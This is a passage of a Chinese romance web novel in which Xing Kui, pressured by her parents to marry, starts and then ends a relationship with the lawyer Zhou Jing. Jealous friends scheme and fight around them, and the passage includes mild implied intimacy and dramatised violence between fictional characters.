江玉鸣丝毫没有自曝的尴尬,甚至故意夹起嗓子:“这里要轻一点吗~葵葵~动一动~周镜,夜里热吻厉乘川的未婚妻,你不会羞愧吗?” 手机传输江玉鸣声音,每一个字都带着笑,藏着刀。 “会。”周镜平静回击,“比不过某人,撺掇厉乘川未婚妻来追我,却毫不内疚。我没时间与你废话,葵葵要车,我已经出发去你家了。” “葵葵要车干什么呀~既然你于心有愧,不如我去吧。” 周镜按紧方向盘,并不想让江玉鸣多掺和邢葵的事。 “别紧张。”江玉鸣提议完,似逗他玩儿般笑开来,“我们可是好兄弟,为了不影响兄弟情义,我告诉你个秘密吧,邢葵,根本不认识厉乘川。” 周镜车辆急刹。 “一个多月前的车祸中,邢葵丧失了对厉乘川的记忆,并且,我猜想她失忆前也不喜欢厉乘川。” 江玉鸣从邢葵那里探得她和周镜关系正处新阶段,但误以为问题在周镜身上,想推他一把。 “她追你,是想找你假结婚,我想她和厉乘川的婚事也是假的。她家里总在催她结婚,她想找个人假结婚解决问题。” 江玉鸣说着,嘲讽般地上拉嘴角弧度,他才是邢葵首个选中的假结婚对象,要不是他想要邢葵喜欢他,拒绝掉了,哪里轮得到周镜。 “车库密码******,去吧,放下芥蒂,去牵辛德瑞拉的手吧。” 江玉鸣常年带笑,本质上却理性到冷酷,这场针对周镜的攻略,甫一开始他就清楚只有邢葵碰到周镜的心才能成功。 但在他看来无所谓,无论周镜要的是真结婚还是假结婚,都能帮邢葵达到目的,也能帮他达到目的。 他完全没想过,邢葵不是和他一样冷性的人,不是一个只向着目标行动的机器,她会因为周镜的感情犹豫,她会在某一瞬间,喜欢上周镜。 甚至这个瞬间,是江玉鸣一手促成的。 甚至这个瞬间,江玉鸣本有机会代替。 插在花瓶里的红玫瑰被大掌揉烂,江玉鸣上厚下薄的艳唇噙着愤怒笑意,邢葵向周镜敞开她世界的大门,一声“我喜欢你”,他和周镜同时听见。 感觉,属于他的好孩子被偷走了。 “我真没想到你那么有钱,我还以为你和江玉鸣一样,就是普通打工人。”邢葵第一次和人表白,超级紧张,“我家就、就挺常见的,要不要做我男朋友,你可以慢慢考虑。” “男朋友在这里。” 邢葵愕然仰起头,周镜目光温和,手指穿进她的手指,“我很高兴,也很心疼,请葵葵将我当作药,无所顾忌地食用。” 已经悸动的心对周镜不设防备,听到周镜回应,邢葵弯起纯澈的杏眼笑起来,似一朵浸过糖水的太阳花,又香又甜。 周镜悄然垂眸,睨了眼腿侧还在通话中的手机,“不过江玉鸣家境也不普通,辉德医院是他家产业,我今天开的车也属于他。” “啊?”邢葵愕了愕,有周镜家境在前,接受得挺快,“是这样吗?不影响啦,我喜欢的又不是车,是开车来的人。” 手机屏幕上的通话时间一秒一秒增加,无论周镜还是江玉鸣都没有按下挂断键,一个在警告,一个在自虐。 “等我们回家。”邢葵抓住她人生第一个真正的男朋友,不了解她说的每一个字还能被第三人听见,脸颊红扑扑的,甜蜜道,“我们亲第三十次吧。” 电话挂断。 赤红的玫瑰花液浸湿手指,一滴滴从指缝滴落,江玉鸣嘴角再挂不住一点笑。 算起来,他和邢葵只亲过两回,一次初吻,一次初吻当晚他睡她房里,邢葵和周镜亲过这么多次呢? 他有没有跟邢葵讲过,任何事,他都不喜欢输给别人啊? 下午三点,“天天奇妙历险”账号更新: 【报!谈上恋爱啦!!!】 (配图:牵手图) 嘉月酒店外不远,戴着头巾、墨镜、口罩,把脸裹得严严实实的男人拍胸脯,外套上的黑色亮片哗啦啦响。 爹的,混个饭吓死他了,差一点点他就要站起身谎称是周哥女朋友的男朋友! 周哥什么时候谈恋爱了!没在群里提过!真不够意思!当不当他是好兄弟! 一辆小黄车在话痨男面前停下,许野一身军绿色运动装,年轻的眉目斥满蓬勃野性,短发被风吹得凌乱,少年感飞扬。 话痨男拉下墨镜,露出一半眼睛,形状像桃花,睫毛长长:“我让你开车来接我,你开共享单车?” 许野扫了眼兄弟的奇装异服:“准确地说,我是坐高铁从京江到昆武,再从昆武高铁站扫的共享单车。” 话痨男把墨镜推回去:“不坐,你给我叫出租车。我回来是肩负替厉哥教训坏女人的伟大任务,你竟然就让我坐这,感天动地兄弟情都去哪儿了?我今天桃花符被踩脏就够闹心了*!&……你去哪儿!” 小黄车骑出去几米远,许野转过脸:“等你唠叨完我再回来。” “!你给我回来!拿不拿我当哥?虽然我比哥哥们小,但我比你大!”话痨男叉腰,又要开始新一轮啰嗦。 许野捂了下耳朵,不耐地道:“说不定,踩上你桃花符的人就是你的桃花,你该去找她。” 话痨男一顿,超低的情商缓缓被催动:“不、不、不可能吧,我、我、我喜欢有力量的,她看上去超弱鸡的!而且她、她、她是周哥的女朋友。” 许野:“?” 话痨男八卦:“周哥恋爱了你知道吗?我不能用钱,你给我喊出租车帮我躲开 追踪我跟你讲……” 昆武市,某商场。 一排排的货架,琳琅满目,邢葵的父母满面红光走在前面,她和周镜随在之后,周镜推着不锈钢购物车,车里堆叠了不少袋子。 “累不累?”周镜关切询问,颀长的身体倾近邢葵,视线从她的脸移到她的膝盖。 “还行。”邢葵捏了捏轻微酸胀的膝盖,看向前方交头接耳的父母,“我妈难得这么开心,我也难得听不到催婚,不过你也给他们买太多东西了,还不准我付钱。” “应该的。”周镜唇角牵起几分弧度,带有热度的话音滚进她的耳朵,“想付,晚上多亲几次。” 邢葵脸热,都不好意思看周镜,声若蚊蝇:“那就多亲几次吧,谁让我父母明天想在京江旅游,要你带路,你也答应。” 她挑了几盒酥点放购物车里,是昆武市的特产,“这些我付钱,我要送厉乘川的,一直以来他帮了我挺多,虽然他管得也多。” 视线擦过礼盒,周镜不动声色,没有说,邢葵不久前发了恋爱帖,厉乘川看到后,估计一口都吃不下去。 “小镜啊,帮叔叔看看这些鱼竿哪个好?”李正军在前面喊道。 邢葵笑着看着周镜:“去吧小镜,我要再看看特产。” 她打从心底恶心出过轨的父亲,不愿过去,待在专放特产的架子旁,专注地看特产,看过一面逛到另一面,刚伸脚,胳膊肘兀地被人逮住。 又长又白的手捂住她的唇,阻碍她尖叫出声,白色大衣袖子刮到她的脸颊,玫瑰香气刹那充盈鼻息。 江玉鸣站在货架前,眸色深深,唇瓣胭红,一张颠倒众生的脸漫着虚假笑意。 “三十次,我和你接吻的次数不及你和周镜十分之一,好孩子,你坏,弥补我。” 欸欸欸欸欸?他怎么知道三十次!还没三十次呢,还差一次。 而且远在京江的江玉鸣,怎会出现在昆武市商场! 覆在邢葵唇上的手移开,她迅疾抬起左手挡嘴:“不能亲我了,江医生,我和周律师正式谈上了,我喜欢他,我不会准你亲我的,你想想你受过的素质教育,这样不对。” 江玉鸣抓住她空闲的右手,好得很,好得很,他教她攻略周镜,可没教她丢掉她的心! 和人恋爱了,就不亲他了,她做梦。 就算和人睡了、和人结婚、和人生子,也要接着亲他。 江玉鸣抬起她的手,放到唇边:“什么素质教育,我没素质。” 他张开诱人的唇,咬上她中指指尖。 邢葵惊呆,看着江玉鸣艳红的舌尖伸了出来。 “葵葵,伯母要你多买些特产,她要带回老家送人。”周镜走过来。 邢葵正站在货架边,半边肩抵着货架,同边的手被江玉鸣攥着舔舐。 第37章 昆武市的特产是酥点,邢葵感觉她当前就像酥点,身后是正过来吃她的周镜,右边是正在吃她的江玉鸣。 说是舔,其实是气到极点张嘴咬她,但因为不舍得伤她,于是将她的指腹压在软舌之下,然后又舍不得松开。 腿说不上发软还是僵硬,邢葵整个人好似悬空了,手指下意识颤动,这一动作,使得指尖刮过江玉鸣的舌,他舌尖勾舔着,呼吸在一瞬间粗厚,潋滟艳丽风情的双眸注视着她。 还不退你,你还不退! 那她退吧呜呜,邢葵移了一下脚步,扭过脸,一边努力抽回被控的手,一边应和周镜:“噢,我知道了,那麻烦你去问问我妈,具体要买多少份。” 周镜却没有扭头返回,而是径直走了过来:“是腿疼了吗?你看样子不平静。” 你过来我更不平静啊! 周镜抓住她的左手,常年用笔的指腹有些薄茧,粗砺的大拇指抚过她的掌心,“你手掌心都生了汗。” 他瞧上去没发现她的肩右、货架前方还藏了人。 实际上,邢葵望着周镜,他一只手抓着她的手,另一只手在说话间,悄无声息覆到货架礼盒,抽下一只。 她吓坏了,在那一刹那竭尽全力从江玉鸣舌下抽走手指,指甲似乎勾破了他舌下软肉,湿热的闷哼传出,江玉鸣的模样,也透过货架空档落进周镜眼里。 眼角生红,唇边挂潮,欲-求不满。 得意洋洋地垂着眼角看他,昂着下巴,像是挑衅。 可不就是挑衅嘛,前后不超过二十四秒,他看起来一副做了二十四小时的情态! 邢葵惊得讲不出话,江玉鸣却一点没有被揭穿的慌张,伸手拿过一只礼盒:“这么巧,你们也来昆武逛商场。” 周镜镇定地从风衣口袋取出手帕,给邢葵擦手:“车是他的,有定位,去你母亲那儿,这里我来处理。” “那我走咯,你别生我气哦,不是我主动的。”邢葵攥住手帕,抓住购物车推手,犹豫地说。 “没关系。”周镜摸了摸她的脸庞,睨着寻衅的江玉鸣,“你甜,什么人都想尝一口。” 被夸的邢葵脸颊热乎乎地跑了。 留下两个男人对视。 商场开了灯,是明亮的白光,货架边,两个男人的眼刀清清楚楚。 江玉鸣舔舔唇,拿手机屏幕当镜子,照舌下划伤:“这都不生气,真大度啊周镜,那不如我们三个人一起谈恋爱吧。 你看,平时我俩都要上班,不能时刻陪着她,不如我俩各负责十二小时,我医院可以改上夜班。” 他大胆提议,白皙的侧脸腮帮子处被舌头顶得鼓起,盯着手机,神情放荡,辨不出说出来时是认真的还是假话。 透明的镜片沐着天花板打下来的光,周镜大拇指和中指按住眼镜两边,抬了一下:“你引诱她,是你的错。” 他道,“别以为我推测不出你的真实目的。我知道厉乘川成人礼时,你父亲送给他的那套机场模型,不是许野碰碎的。” 江玉鸣撩起眼皮。 十八岁的厉乘川已经涉入集团管理,他那时想开发航空业务,江父因此用心准备了一份机场模型生日礼,聘请世界级工匠,模型中不仅机场上来来往往的人栩栩如生,就连每一架假飞机内座椅、空乘,各处细节都模拟周到,价值千万。 结果厉乘川没能见到完整的它一面。 精心装在盒子里的模型,被认为是路过的许野不小心弄碎,许野那个时期才五六岁,不是他干的他也分不清。 “你想借拐跑邢葵分离江厉两家,报复江叔叔,曾经想通过第三人,比如我,现下发现被你利用的邢葵失控,你快气疯了吧,还是说,嫉妒疯了?” 周镜冷冷静静地推断,“厉乘川的未婚妻,你也很中意吧?” 言外之意,都是背着厉乘川心怀不轨的偷子,谁比谁高贵。 江玉鸣舔了下嘴唇,似在回忆邢葵的触感和味道,蓦地,讥讽似的拉起嘴角,盯着周镜:“我们可不同,你马上就要被pass了,我听到了邢葵向你表白的原因——我赌,不超过二十四小时,邢葵就会向你提分手。” 周镜落在腿侧的手明显捏了下拳。 江玉鸣瞥见,戏谑地笑起来,“你知道,对吧?你知道和你交往根本、无法、从催婚中拯救邢葵,等邢葵发觉就会提分手,你还上赶着当这个一日男友,你真贱得没边了。” 胸口轻微起伏,周镜盯着他的好兄弟,冷声反问:“现在在这里骂我贱的你,难道不想贱吗?” 差一点点,就差一点点,正宫就是江玉鸣,他难道不想吗? 陈列满特产的货架旁,两位自小相识的好兄弟在灯光下对峙,整个兄弟群中,周镜和厉乘川脾性最投,但周镜和江玉鸣同样是至交好友。 而如今,两位不但同时背着厉乘川偷人,还私下互相攻讦彼此贱种。 周镜抬起手腕看表,转过身:“走了,不能让我女朋友久等。” 江玉鸣冷笑,后背嘭地靠上货架:“很快就不是了,陪葵葵好好玩,我就当你是我送给她的玩具。” 周镜回击:“是你也想当的玩具。” 冷淡却恼人的声音,化作散不去的烟雾缭绕在江玉鸣耳边,他艳气的脸阴沉沉盯着周镜离去背影,长指点亮手机屏幕。 很不爽,江玉鸣毫不迟疑点进邢葵小红薯,打开最新笔记,点击右上角转发,发送厉乘川,并配字—— 【周镜说你未婚妻很甜,他想舔。】 “你再说一遍,周哥的女朋友戴着咖啡色鸭舌帽,姓邢名葵?” 计程车驶进京江市,许野的嗓音就和车的喇叭一样响,棕褐色的瞳孔闪烁着不敢相信,剑眉高高上扬。 周哥的女朋友是厉哥的未婚妻。 一句话,十三个字,三个人物……许野大脑都要停机了。 “对啊对啊,你反应这么大干嘛!不跟你说了,周哥谈恋爱的消息,我得赶紧跟厉哥分享,好兄弟怎么能有秘密……这话说得好!我要录一下。” 话痨男编辑着消息,说到兴奋处打开录音,清清嗓子,“咳咳,身为兄弟,任何事都不能隐瞒兄弟,周哥瞒了,这很不对,我绝不会向周哥学习。 我发誓,以后我谈恋爱一定第一时间跟兄弟们汇报!不,我从追开始就跟兄弟们一条条汇报!绝对不会有一丝一毫隐瞒! 哇噻,说得真太好了,许野,你觉得……你居然走神!” 许野扶着额,肌肉勃发的大长腿在计程车狭小的空间内屈着:“我在想这件事该不该告诉厉哥。” “当然得说啊,我们几十年兄弟,噢,除了你,你还没过二十岁生日,那也是十多年交情,肯定得说,来,跟我一起拿起手机。” 甜甜的恋爱会找上我:【厉哥!周哥背着我们谈恋爱!】 许野:【厉哥,周哥的女朋友好像是你的未婚妻。】 早上厉乘川在调查话痨男逃离剧组一事,下午有个会议,因参会人中有人中招新冠改为线上,几个小时,屏幕关闭时外面天都黑了。 厉乘川起身去厨房烧水,以前他能直接喝水龙头流出的冷水,直到某天在公司被邢葵看到,她露出“老板,肠胃真好”的表情,转头买了胃药避免他肚子疼耽误她下班,他就改掉了。 况且厉乘川比邢葵岁数大,不论大一岁还是几岁,都意味着他会比邢葵更快进入下一个年龄阶段,他得好好养生。 端着热水坐到餐桌,厉乘川拿起手机,顺手清空通知栏。 最近厉乘川下载了许多他从没用过的软件,是邢葵在做自媒体的平台,微博、某抖……手机通知栏动不动被广告推送填满。 每个软件厉乘川将邢葵设置为特别关注,方便第一时间看到她更新,因此有的通知不能关闭。但实际这样并不方便,更新提醒被淹没在一堆营销里,还不如他点进邢葵账户直接看。 厉乘川喝着水点开小红薯,很多网民都是妙人,他很爱看他相关帖的评论区,还特意建了专辑收藏反复刷。 比如这条帖,邢葵说他成为了她的房东,网友评论就很有意思。 【点一本《我进了房东户口本》送给帖主。】 【一路追过来的,我真觉得总裁男居心否测蓄谋已久,帖主试试给他个眼神吧,看看他会不会心花怒放。】 【四个男人最爱总裁,帖主多写点啊。】 厉乘川逐一给他们点了赞,满意,但情绪内敛,不展太多表情,继续往下刷。每天都会新增评论,譬如…… 【啊啊啊恭喜帖主谈恋爱!所以对象是谁是谁是谁快更啊!】 厉乘川:“?” 他瞳孔微缩,一些隐晦的不安滋生蔓延,松开握水杯的手,刚喝进一口水的喉咙都忘记吞咽,僵硬打开邢葵账号主页,单是看见最新更新的首图和标题,都如遭雷击。 首图:(男手女手相握) 标题:报!谈上恋爱啦!!! 定格好一会儿,厉乘川方移手去点详情,没有详情,这条笔记只有一张图和标题,是临时匆匆发的。 往常发一条帖要斟酌许久的邢葵,迫不及待地分享她和男朋友牵上手的欢喜。 所以图上的男性手来自谁!厉乘川放大图片,仔仔细细看,从指尖看到手背,少顷,薄唇溢出一丝冷笑。不认识,他平常怎会注意男人的手。 评论区看客热闹分析,一大堆医生党正在心碎,江玉鸣曾帮邢葵拍照露过手,网友再三对比,确认这只手不属于他。 厉乘川眸子黑漆漆的,像下一秒就能提刀杀人,拧眉思考一会儿,虽然能排除江玉鸣嫌疑,但斯文败类江玉鸣不比周镜值得信任。 周镜谨身约礼,十足绅士,细数邢葵借住他家那段时日,周镜始终有节有度,还及时提醒他许野异心,更不可能是手的主人。 指尖落到转发按钮,厉乘川想将笔记转发给周镜,让周镜分析,近期周镜和邢葵接触最多,兴许他能推测出是哪个不知名野男人悄悄上位。 尚未发送,外面传来几个人走路的动静,是出门吃喜酒的邢葵回来了。 “妈,就这儿,我住这儿。” 父母明天想在京江旅游,邢葵带着父母来了她租的房子,笑盈盈打开门,周镜拎着大包小包,跟在后面。 对面的门打开,厉乘川立在门口:“周镜?” 谁能告诉他,早上和他一起没送成邢葵的人,为何晚上会送邢葵和她的父母一起回来? “你过来。” 啊?厉乘川干嘛一脸严肃地叫周镜过去?邢葵担忧地看向周镜,他将手上提的袋子放到玄关,取出两盒酥点,唇瓣张合两下,悄声对她说“没事”,出去关上门。 “妈,那我带你逛一逛家里吧,你看你晚上要住哪间。” 厉乘川家中。锐利的视线在周镜脸上扫,他面目从容,眸光没有波澜,平和接受审视,已做好坦白准备,递过去酥点礼盒:“昆武市特产,她送你的。” 厉乘川接过来。 “你恰好碰到他们了?” 他怀疑了,下意识不去怀疑,假想到偶遇情况,点开手机,“帮我看一张图,邢葵发帖说她恋爱了,你看这只手会是谁的。” 周镜静静地看着邢葵和他的牵手照,是在窗台上拍的,背景是窗外绿植和楼房,他头一回拍这种照片,邢葵的手指缠着他的手指,他想把她塞进怀里吻。 与邢葵牵的那只手抬起来:“是我的。” 第38章 砰!话音未落,酥点红色的礼盒砸上周镜的脸,尖利的角砸破眉心,一滴血落向眼睛被睫毛拦住。 “你最好告诉我是误会!” 厉乘川眉眼压着浓烈怒气,他一贯都是上位者,面貌又英俊贵气,即使发火也不显狰狞,压迫感锋利逼仄,如同一匹将撕扯猎物的黑狼。 而周镜,气质与厉乘川截然不同,他温和克己,泰山崩于前亦不改色,不露半分狼狈地擦掉睫上血:“你该先看微信,我想江玉鸣已经和你讲了。” 厉乘川顿了顿,点开微信。 三条消息依序进入眼帘。 甜甜的恋爱会找上我:【厉哥!周哥背着我们谈恋爱!】 许野:【厉哥,周哥的女朋友好像是你的未婚妻。】 江玉鸣:【周镜说你未婚妻很甜,他想舔。】 一条比一条暴击,好啊,老婆被兄弟半途截胡,他是最后一个知道的。 厉乘川息屏手机:“下楼。” 小区不为每家每户设立单独的供小轿车使用的车库,公共的地下车库内光线昏暗,周镜坐进归属江玉鸣的豪车中,听着厉乘川的要求系上安全带,取下眼镜。 通话页面传来厉乘川声音:“我很想揍你,你该庆幸我更不想被她发现。” 车辆尖声疾驰,砰的巨响,属于厉乘川的宾利撞上周镜所在车辆,玻璃碎裂、金属碎裂,刺耳的声音轰隆耳膜,安全气囊弹出。 周镜发晕,未有外伤,车门被拽开,怒气腾腾的厉乘川将他拽出来,大力压到车上,“那是我的成婚对象,你怎么敢!我托你照料她,没让你用身体照料!” 什么时候开始的,周镜此前还提醒他许野,莫非是在利用他为自己处理情敌! 浑噩的脑袋撞上车辆,又是一阵激荡,周镜双眸难以睁开,嘴角先扯起弧度:“那你又能怎么办呢?厉乘川,你要去跟她坦白,原本要和她结婚的是你吗?” 他很少笑,即使笑也很轻,可这会儿笑得极为讽刺,车库高窗投射的光漫舞尘埃。 “你不敢 ,你不敢去失忆的葵葵面前闹,人们在遭遇车祸时往往会忘记车祸发生过程,因为那段经历让他们痛苦,而葵葵不但忘记了车祸经过也忘记了你,你很怕她失忆前,其实很反感你吧?” 凌厉的眼眸戾气翻涌,厉乘川脸颊肌肉绷起,扣着周镜衣襟,宽大的手背交错的筋起起伏伏。 “我是在你眼皮底下偷了人。” 周镜吃力睁眼,坦荡承认。 “但你也想趁葵葵失忆偷她。”周镜搭上厉乘川手腕,“撞不死我就放开我,葵葵和伯父伯母还在楼上等我,如你所说,我还要回去,用身体照料她。” 厉乘川很想甩好兄弟一巴掌。 揪着周镜衣领的手颤抖得飞快,想将周镜的牙都打掉,然后掐住他的脖子,盯着他脸部鼓胀发紫发黑,直到他窒息。 江玉鸣说什么,舔?周镜怎么敢舔!他都没舔过,想将周镜的舌头都拔掉! 但厉乘川到底只是嫉妒发疯,不是法制咖,葵葵不会喜欢法制咖,他再愤怒,还是松开手,口腔血腥味逸散,他冰冷地吐出讥讽:“提前祝葵葵分手快乐。” 周镜理平领口皱褶:“那我也就是和你一样成为前任,至少,我会是被记得的前任。” 他从车窗取过金框眼镜,重新戴上,拿起车位还没拎上楼的购物袋,边走向车库出口边给江玉鸣发消息:【你的车,你修。】 “你回来啦?眉心怎么了?” 邢葵打开门,见到周镜额上有伤一惊,抓住他的手拉他进家,“厉乘川打你了?我真不明白,好朋友谈恋爱碍他什么事呀,我去找他。” “误会。”周镜拉住她,“天气热,水杯爆炸,他叫我去清理,玻璃渣碰到了。” “什么呀!他凭啥自己不清理!”邢葵义愤填膺,音量都提高了好几度,仰颈去看周镜额伤,食指心疼地徘徊在伤口周围。 周镜握住她的手,放到脸颊,清俊的脸蹭她的掌心,浅浅地笑:“谁让他洁癖。”室内空荡荡,“你爸妈呢?” “去洗澡了,你先坐,家里有药箱,还是你妹上回送的,我去拿。” “等等。”周镜扣住她的手,深邃的眸子垂下来望她,想起江玉鸣说不超过二十四小时他们就会分手,想起厉乘川的分手预祝,“玻璃碎刺得我头有些晕,先亲一下,好吗?” 邢葵脸庞炸出粉红色:“亲了会更晕好不好,我每次亲都会晕……好啦,就一下哦。”她攥住周镜大衣,踮脚啄上他的唇,“ok,我去拿药箱。” 游移的视线擦过购物袋,“这个沐浴露,我妈要的,我拿给她。” 这款沐浴露价格昂贵,邢母前一阵儿听她广场舞团爱炫耀的朋友推荐过,今天周镜见她在看,就放进了购物车。 是位男明星代言的,邢葵边走向卫生间边看瓶身男明星照片,好漂亮的人,皮肤奶白,下巴尖尖,像那种精致娇贵的小王子,就是面无表情怪面瘫。 卫生间的灯亮着,父母两人都在里头,水流声哗哗,邢葵反手要敲门,不懂在家也不共浴的两位干嘛在她家一起洗澡。 过去几个小时邢葵都没听到催婚,她心情轻松,抬手敲门时脸上都带着笑。 “实话说,这个男孩子人真不错,做事细心贴心,我们葵葵嫁给他也不用烦婆媳关系。” “是的,今年结婚,明年三十岁之前还好生个孩子。” “嗯,我也这么想,京江离咱们家还是有点远,到时候看看,能不能让男方在甘临买栋房子。” “是的,这样你也方便帮她带孩子。” “哎呀,老李啊,真想不到咱家姑娘的终身大事就这么有着落了。” “是的,这个女婿我也非常满意。” 哦,父母一同洗澡原来是忍不住要说悄悄话。 邢葵觉得,她此时的脸就像印沐浴露上的男明星,毫无表情,像面瘫。 今年结婚、明年生子、买房子、带孩子…… 旋转的可怕的话音中,邢葵转过脚步,走向也听到他们交谈的周镜:“我们分手吧。” 她就谈了场恋爱,父母给她判了终身。 她就谈了场恋爱,父母将恋爱=结婚=生育。 她就谈了场恋爱,父母就觉得她要嫁给对方、要给对方生孩子。 她就谈了一!场!恋!爱! 为什么,为什么,为什么! 邢葵眨眼间眼眶通红,说完分手,抱住周镜,犹如摔在地面裂缝的瓷器,快碎掉了,“为什么我有男朋友了还是无法呼吸,他们才认识你几个小时为什么就能设想将我嫁给你,为什么他们不考虑我的意见,身为女性我是犯了天条吗?” “不是你的问题。”周镜双手捧住她的脸,擦拭她的眼泪。 和他交往堵不住催婚,周镜早有心理准备,只是他也没预料到,她的父母连一天都等待不及,当晚就讨论起,不,决定起邢葵的未来。 他无比心疼,“乖,深呼吸,你要喘不过气了。” 吸——呼—— 还是喘不过气,无意间偷听到的话往邢葵头脑、脸上、喉咙、心脏……扎刀,她凑近周镜:“对不起,周律师,我,我好难过,你能甜甜我吗?” “我说过。”周镜指尖抚摸她的泪,“葵葵可以将我当作药,尽情食用,哪怕我们分手也适用。” 卧室只开了小夜灯,是江玉鸣送的,玫瑰花的形状,点亮后会在墙壁上投影很多小花朵。 邢葵喘不上气,不太清楚她在做或将要做什么,或许是清楚的,但不想费脑细想,就想从周镜那儿夺取气息。 他这人斯文,也配合,就是一碰上这事儿就超绝敏-感肌,接了个吻喘得比她还重,何谈予她甜甜。 一声一声,她怀疑他才要深呼吸!温柔绅士的面滚涌热潮,眼眸泛着一层水雾,贴近她,“帮我摘下眼镜,会硌着你。” 她很生气,对母亲、对自己、对现状,周镜的手都在她这儿,她还是觉得不够,闷热感滚动在心脏腰腹腿,每一处都难受,从里到外都苦涩,每一处都需要泡在糖水里。 取下周镜眼镜,戴到自己脸上,他近视度数不高,可邢葵戴着仍然泛晕,房间里燃烧着四月春转夏的热,腕表抵到髋骨,今天一天、过去多年听过的怪言都往她脑子里钻。 它们坚硬尖细,刺得她想哭,想起在交警大队看到的监控。母亲在马路边强拽她去相亲,她向后摔倒,车辆尖叫。 她记不得了,记不得她怎样被车撞出去好多米远,只记得脑袋撞上地面后的一片空白。 好痛,妈妈。小时候母亲如何温暖柔和,长大后母亲如何歇斯底里。虚岁二十九岁的邢葵,被长辈判了死罪的邢葵,强烈想念儿时的热和软,从周镜身上汲取着,弓起腰。 “周律师,周镜,你的眼镜,我戴着好晕。” 床头的小夜灯在墙壁投影着一朵朵小花,周镜流连过小花,它真实存在又虚幻,它能碰得到又得不到,它触手可及又无法长久掌控,他柔声叹息:“别戴了。” “不行,我喜欢,我喜欢,至少今晚。”邢葵眼角悬泪,摸到她今天以防万一买的小盒,嗓音还是哭腔,“我不知道你用什么型号,你要嫌大我会生你气的。” 周镜瞟了一眼,起身,重新俯身,亲吻邢葵脸上的泪:“别哭了,再哭我分不清你待会儿是因为什么哭。” 隔着有度数的镜片,窗外的月亮如躺在水面,朦朦胧胧,天花板一切也显得摇摇晃晃。 邢葵眼珠酸胀,意识也有些朦胧,周镜亲吻她,在几近失控的情愫中,依旧附在她耳边温温柔柔。 她听见他说:“别自责,好葵葵。” “男朋友永远在这里。” “苦了我给你甜。” “痛了我给你咬。” “好葵葵,放轻松。” “享受就好。” 手背压住唇,翻滚的热气润湿手背,邢葵是暴风雨中可怜脆弱的小葵花,承受着,追求着,渴盼着漆黑的夜里也能有阳光滚烫。 压着唇哭泣,目之所及模模糊糊,她想,她也分辨不清为何止不住泪。 坚硬和柔软,冰冷和燥热,疯狂和温柔,同时席卷着。 喜欢周镜,可和他恋爱不能让邢葵从催婚中获得呼吸权很久,在父母请人算黄道吉日前,在覆水不可收前,他们必须得分手。 喜欢,必须止于今晚。 厉乘川咬了口花形酥点,他用酥点盒砸了周镜,这会儿盒子里碎末处处,形状的破坏不影响口感,很甜,甜到味蕾不适。 豆沙似黏在舌苔,厉乘川盯着不缀装饰的墙,一眨不眨,套着透明一次性手套的手,都能看出爆出的筋,对面就是邢葵的家。 拿把电钻,钻开墙壁,就能看见邢葵正在干什么。 “老厉,真没想到周镜会撬你墙角,我真惊讶。” “你打电话就是为嘲讽我?”桌面黑色的手机正在通话中。 老式小区的路灯昏黄,几只小飞虫撞着灯泡,奔赴死亡,路灯下面,江玉鸣仰着瑰艳的脸,对着邢葵家的方向,眯着狭长双眼。 “哪能呐,我心疼你还来不及,就是想说,你们闹着玩的是我的车,修理费……” “自己付。”厉乘川已经猜到,江玉鸣比他早得知周镜和邢葵恋爱,和那辆不符周镜节俭做派的车有关,“借车让周镜追邢葵,你嫌命长。” “这你可冤枉我了,我哪能预知到他借车干什么。”知道邢葵会因此喜欢上周镜他就自己去了。 江玉鸣目光锁着昏暗窗台,“老厉,我们可是好兄弟,周镜背叛,但我对你赤胆忠心天地可鉴,这不,还特意打电话安慰,你千万要冷静,千万别想他们今晚会不会做,要做几次。” 厉乘川捏碎糕点:“够了,少幸灾乐祸。” 江玉鸣笑着,眸中阴冷,不能只有他一个闹心:“不够,怎么能够呢,我关心你啊,切勿多思,对身体不好,也别去敲人家的门找不痛快,明天早上更别去翻人家的垃圾桶,数数有几个。” 电话被单方面掐断,江玉鸣了然嗤笑,睨了眼手机显示的时间,视线幽幽投向楼前的公共垃圾桶,耐人寻味地挑了下眉。 潮热昏黑的室内,床单皱痕叠叠,馥郁泛滥,两只手用力地缠在一起。 抛陷在布料里的灰壳手机亮起,“相亲相爱兄弟群”一条消息更新,是一项群成员变动。 【您被“3丨”移出群聊】 第39章 四月中旬的天,干燥炙热,淡黄色的太阳挂在京江市上空,邢葵扯开窗帘,趴到窗台呼吸十点钟的空气。 那晚之后的第二天,她和周镜带着父母逛了京江市几样最有名的景点,园林、海洋馆、寺庙……寺庙周围有许多算命大仙,母亲兴奋地拉着她去算。 邢葵坐到小板凳上,衣着普通、五十岁左右的妇人摊开她的手看手相。 说她是富贵命。 说她最近遇到了挫折,但终会过去。 说她今年就能结婚。 说她头一胎会是男娃。 邢葵礼貌地听着,然后和喜不自禁的邢母说,去年她拉着她去算命,那位也是这么讲的。 人生在世哪能顺风顺水,未来富不富贵谁能拿出证据,前两句说给谁听都适用,后两句是看她的年纪、以及和长辈同行,半蒙半猜说的讨巧话。 算命的变脸,驳斥:“我说的话你不信,你要今年不嫁,以后就要嫁人就难了。” 邢葵微笑:“明年我三十,谁都这么说。” 邢母连连给算命的道歉,拉着她走,但也不为此发火,谁让她已经见着了女婿。她喜笑盈盈,一整天都翘着嘴角。 直到晚上,周镜开车送邢葵的父母回老家,邢葵通知他们,她和周镜分手了。 邢母气到几欲昏厥,说她已经跟所有朋友所有亲戚讲了,邢葵这么做,知道会多丢人吗? 李正军更直接骂她混账东西,不顾父母,自私自利,他就当没她这个女儿。奇了,他出轨的时候也没想到他有妻有女啊。 那之后,邢葵将自己锁在家里消沉了一阵子,江玉鸣天天会过来,说她要是控住心、没喜欢上周镜就不会这般痛苦。 确实,可人心是软的。 “我的心脏若是坚硬,我也不会为家人痛苦。” 邢葵不是修真文里剥掉心脏也能活蹦乱跳的修士,也不是武侠文里一剑一酒走江湖的独行客,她用了几天去舔舐伤口。 追剧、看综艺、刷视频……竭尽全力地吃着电子榨菜,来填满空空荡荡只有芜杂情绪的胃,去忘记与父母的争执,去停止对周镜的喜欢。 她不会一蹶不振,邢葵戴上帽子墨镜口罩,仍在继续她的天天奇妙历险,她尝试起真人出镜,正好在追剧,便制作起看剧reaction。 反响挺好,邢葵蹭了把热度,娱乐圈那位出逃节目组的富豪少爷还没回去,总有人@她讽刺她快来蹭热度,主意出发点虽糟,但还真行。 搜索了番,大大小小营销号都在蹭这波热度,各平台爆帖频出,编假新闻邢葵不会干,她去找了这位少爷拍过的剧,只有一部,就是前段时间的热剧《见我星辰》。 